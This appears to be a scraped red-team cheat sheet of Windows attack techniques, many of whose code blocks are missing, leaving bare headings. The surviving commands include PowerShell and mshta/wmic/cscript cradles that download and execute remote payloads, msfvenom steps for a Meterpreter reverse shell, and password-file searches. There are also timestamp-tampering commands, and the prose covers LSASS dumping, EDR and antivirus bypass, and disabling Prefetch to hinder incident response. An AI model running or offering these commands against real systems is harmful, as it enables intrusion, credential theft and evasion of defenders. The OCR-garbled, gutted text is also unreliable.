Windows

Windows TTPs

PowerShell Tricks

Windows System Enumeration

ver
time
net session
psloglist "Security" -i 528 -s | find /i "Logon Type: 10"
net statistics
nltest /dclist
net group /domain "Domain Admins"
date
tzutil /g
tracert 8.8.8.8
hostname
ipconfig
arp -a
route print
sc query state=all
tasklist /svc
tasklist /m
tasklist /S ip /v
taskkill /PID pid /F
systeminfo /S ip /U domain\user /P Pwd
dir /a /s /b c:\'.pdf'
dir /a /b c:\windows\kb'
findstr /si password' .txt I •.xmll •.xls tree /F /A c:\ tree.txt
reg save HKLM\Security security.hive echo %USERNAME%

Windows Persistence

Start RDP

PowerShell Enumeration

PowerShell Launching Meterpreter Payload

  1. msfvenom -p Wlndows/meterpreter/reverse https -f psh -a x86 LHOST=l.l.l.l LPORT=443 audit.ps1

  2. Move audit.ps1 into same folder as encodeMeterpreter.ps1

  3. Launch Powershell (x86)

  4. powershell.exe -executionpolicy bypass encodeMeterpreter.ps1

  5. Copy the encoded Meterpreter string

Windows User Lockout

Windows DHCP Exhaustion

Rolling Reboot

PowerShell Azure DoS

PowerShell Port Scanning

Powershell Test-NetConnection, tnc for short, host and port scanning:

Traceroute:

Port Scanning:

PowerShell Change Timestamp of Directory

PS> (Get-Item "C:\Windows\system32\MyDir").CreationTime=("01 March 2019 19:00:00")

PowerShell Changing Modification Time of a File

PS> (Get-Item "C:\ Windows\system32\MyDir\payload.txt").LastWriteTime=("01 March 2019 19:00:00")

PowerShell Changing Access Time of a File

PS> (Get-Item "C:\ Windows\system32\MyDir\payload.txt ").LastAccessTime=("01 March 2019 19:00:00")

PowerShell Disabling Firewall

Enumerating Domain Controllers with PowerShell

Enumerating Domain Users with PowerShell

Save all Domain Users to a file

Will return specific properties of a specific user

Enumerate user logged on a machine

Enumerate Session Information for a machine

Enumerate domain machines of the current/specified domain where specific users are logged in

Sneaky PowerShell Commands

powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file] '))"

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetw orkCredentials;iwr('http://webserver/payload.ps1')|iex"

PowerShell Downgrade Attack

Detecting PowerShell Downgrade Attacks

Disabling PowerShell Version 2

PowerShell Data Compression for Exfiltration

PowerShell File Hashing for Blue Teamers

TrickBot PowerShell Download TTP

  1. Insert base64 string for malicious web server

  2. Select filename for output in %tmp% directory

  3. Attach to Office macro

Enable PowerShell Remoting

Tip Provided By Joshua Wright:

By default, Windows Server 2012R2 and later have PowerShell remote access turned on by default. Windows 10 and Windows 11 systems have this feature turned off by default. To turn on PowerShell remote access, an administrator can run the Enable-PSRemoting command:

With the appropriate permissions, remote access to PowerShell is straightforward: run Enter-PSSession and specify the target host name or IP address using -ComputerName:

When you are done with your PowerShell remote session, run Exit-PSSession to return to your host system.

PowerShell Password Manager and Clipboard Access

Password managers offer many benefits for selection and storage of passwords.

PowerShell List Named Pipes

To run using cmd.exe:

Python LM Hash Generation

Discovering WiFi Passwords

Potential Credential Files

Find GPP Passwords in SYSVOL

Searching the Registry for Passwords

Local Domain Recon

Shows the domain:

Maps AD trust relationships:

Prints the domain controller name:

Searching the File System for Files of Interest

Search certain file types for a keyword, this can generate a lot of output.

Living off the Land

Cscript/Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt

MSHTA

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload .sct"")")) mshta \\webdavserver\folder\payload.hta

WMIC

wmic os get /format:"https://webserver/payload.xsl"

Examining Processes with WMIC

WMI Recon

Examining Network Usage

Examining Services

Examining the Registry

Disabling Windows Defender in the Registry:

Examining Unusual Accounts

Examining Unusual Scheduled Tasks

Examining Unusual Log Entries

Lua UAC Bypass

TCPDump

PSExec'ing

Running PsExec by uploading malicious executable:

Windows Domain Controller Hash Harvesting

GOAL: Obtain NTDS.dit and SYSTEM registry hive data

Payload Download Cradles: (https://github.com/VirtualAlllocEx)

This are different types of download cradles which should be an inspiration to play and create new download cradles to bypass AV/EPP/EDR in context of download cradle detections. Notice, removing or obfuscating signatures from your download cradle is only one piece of the puzzle to bypass an AV/EPP/EDR. Depending on the respective product you have to modify your payload which should be downloaded by the cradle to bypass API-Hooking, Callbacks, AMSI etc.

AppInstaller Download Cradle

Tool used for installation of AppX/MSIX applications on Windows 10. AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache<RANDOM-8-CHAR-DIRECTORY>

Living Off the Land: Windows Packet Capturing

Packet Monitor (Pktmon) is an in-box, cross-component network diagnostics tool for Windows. It can be used for packet capture, packet drop detection, packet filtering and counting.

Converting to PCAPNG

SMB Password Guessing

Create list of domain users

Create password list

Start spraying!

SMB Lateral Movement

Check if SMB signing is disabled on the endpoint:

Force authentication by crafting a HTML or file of your choice:

Fire up SMBRelayx tool that will listen for incoming SMB authentication requests and will relay them to the victim and will attempt to execute the command, ipconfig, on the end host:

Active Directory DNS Enumeration

The tool adidnsdump enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks.

PSexec with NMAP

AV LSASS Dump

How to utilize Avast AV to dump LSASS (C:\Program Files\Avast Software\Avast)

Certutil Download Cradle

Download and save a Python file to an Alternate Data Stream (ADS).

Kerberoasting with Impacket

ASREPRoast

With Impacket example GetNPUsers.py:

Dumping LSASS With Visual Studio

Dump64: Memory dump tool that comes with Microsoft Visual Studio

Path: C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\dump64.exe

Enumerate for Visual Studio install:

Find LSASS PID:

Uuse Dump64 to dump LSASS:

Dumping LSASS Without Mimikatz

To get LSASS process ID via CMD:

Depending on the EDR, it may be sufficient to simply add quotations around the process name (This bypasses Cortex XDR for example):

Dumping LSASS With NetExec

Using Lsassy and Nanodump:

Stealing Signatures with SigThief

Download: https://github.com/secretsquirrel/SigThief

Rips a signature off a signed PE file and appends it to another one, fixing up the certificate table to sign the file.

CertOC Downloads

Downloads text formatted files

Shodan for SMB

SMB ( Server Message Block ) authentication without credentials, also known as anonymous SMB access, allows users to access shared resources on a network without providing username or passwords. This can be useful for accessing shared folders that have been configured to allow anonymous access.

Plundering Account Information with RPCClient and SMBClient

Once you have a user name and password and open SMB access of a target Windows client or server over TCP port 445, you can use rpcclient to open an authenticated SMB session to a target machine by running the following command on your Linux system:

General enumeration:

Domain users:

Domain groups:

Scanning individual users:

Create a domain user:

Use smbclient to enumerate a list of file shares:

Evaluate what the minimum SMB version is for the server:

Registry Keys for Recent Documents

Recent documents opened by users:

Recent Office documents:

Versions:

  • 14.0 Office 2010

  • 12.0 Office 2007

  • 11.0 Office 2003

  • 10.0 Office X

Recent office documents:

Command Prompt from MSPaint

If you find yourself on a locked down system and aren’t able to open a command prompt but do have access to Microsoft’s Paint program then this might be the hack for you; courtesy of Simon.

  1. Load mspaint, it should start with a blank canvas

  2. Use the resize menu option to change the drawing to 6 pixels wide by 1 pixel high.

  3. Select the pencil drawing tool.

  4. Use the Edit Colours option to create custom colours using the following RGB values:

  1. For each color you create, paint 1 pixel working from left to right.

  2. The final image should look something like this:

pixels
  1. Now save the picture using the File | Save as option and choose 24-bit Bitmap as the type. I saved it as command.bmp

  2. Make a copy of the file and rename it to command.bat.

  3. Double click the file to run the batch file and you will open a command prompt!

BITS Jobs and Downloads

Windows includes the Background Intelligent Transfer Service (BITS), which facilitates file transfers via HTTP and SMB. bitsadmin and PowerShell cmdlets are available to manage these transfers, but they can be abused to download and execute malicious payloads on a compromised host, requiring Administrator privileges.

Starting with creating a job named “winupdatejob”, then we add the payload file in the job that we just created.

After adding the file, we use the /SetNotifyCmdLine switch to execute the payload. This is done with the help of an action that we scripted. First, it will start the cmd.exe and then, it will complete the download and then it will execute the said command in the background.

After this, we run the /resume switch to get the download started.

PSexec from WebDAV

CrackMapExec Tips and Tricks

Null session:

Connect to target using local account:

Dump local SAM hashes:

Enumerate Everything

[!NOTE] Some enumeration methods may fail depending on the privilege level of the user you're authenticating as

Password authentication:

Pass the hash:

Dump Files

Using the option -o READ_ONLY=false all files will be copied on the host

NetExec

ZeroLogon:

PetitPotam:

noPAC:

Map Network Hosts:

Checking if Null Session is enabled on the network, can be very useful on a Domain Controller to enumerate users, groups, password policy etc:

WMI Spray:

Disabling Prefetch

What are Prefetch Files? Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. But if we disable Prefetch files, we can hide execution patterns of our malware to hinder incident response.

The following command requires Administrator privileges, but disables Prefetch within the registry. While this tactic may appear anomalous to network defenders such as clearing Security Event Logs, it will obfuscate the malware's execution history.

Windows AutoStart Persistence Locations

Locations for automatically starting at system boot or user logon

WMIC Tricks and Tips

Enumeration

Lateral Movement

Uninstall Program

Execute a .EXE file stored as an Alternate Data Stream (ADS)

Execute malicious.exe on a remote system

Passive OS Detection and TCP Fingerprinting

image

Offline Microsoft Azure Active Directory Harvesting with PowerShell

This script demonstrates how to interact with Microsoft Azure Active Directory via PowerShell. You will need an Azure AD account first, which is free: http://azure.microsoft.com/en-us/services/active-directory/

PowerShell

Pull Windows Defender event logs 1116 (malware detected) and 1117 (malware blocked) from a saved evtx file:

Check for installed antivirus:

Execute Payloads Utilizing Windows Event Logs

Create variable to contain payload:

Convert Payload variable to hex byte array:

Create new event log entry:

Start your listener:

Execute code injector utilizing this code:

@BHIS Source: https://github.com/roobixx/EventLogForRedTeams

NTLM Leak via Desktop.ini

The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.

Last updated